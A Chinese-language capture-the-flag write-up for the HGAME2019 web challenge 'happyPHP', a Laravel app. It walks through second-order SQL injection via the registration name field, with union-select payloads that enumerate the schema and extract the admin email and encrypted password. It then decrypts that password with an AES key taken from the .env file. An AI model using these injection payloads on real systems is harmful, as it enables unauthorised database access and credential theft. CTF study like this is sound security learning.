虽然比赛已经结束了,但是不会的题目还是要及时学习的,题目直接给出了提示是使用Laravel框架进行编写的,刚开始接触这道题目的时候,一直在百度Laravel框架的漏洞,甚至没有去尝试用户注册和登陆也就没有得到源码了。。。
f12查看元素
得到作者在github上留下的源码,在SessionsController.php中得到关键的注入语句
尝试在登陆界面进行注入获取admin的邮箱,payload:name=qwert12345' union select email from 'users' where 'name'='admin
,密码邮箱随意,完成注册后登陆,得到admin的邮箱:admin@hgame.com
(注意符号)。同理修改payload为name=qwert12345' union select password from 'users' where 'name'='admin
,密码邮箱随意,得到password:eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==
ps:如果一开始就使用最原始的union查询语句也是可以的,-1‘union select database()#
获得数据库名为hgame
,-1’union select table_name from information_schema where table_schema=database()#
获得表名为users
,-1‘union select column_name from inforamtion_schema.columns where table_name='users'
获得列名的前三项分别为id
,email
和password
,以id=1
进行邮箱和密码查询也可以得到相同的结果。
但此时使用上述的邮箱密码进行登陆时并不能成功。看了wp之后才知道在config当中对密码进行了AES-256-CBC,key存在于.env文件当中,解密后得到密码password:9pqfPIer0Ir9UUfR
,登陆后得到flag。
HGAME2019 WEB happyPHP
最新推荐文章于 2024-05-16 17:47:49 发布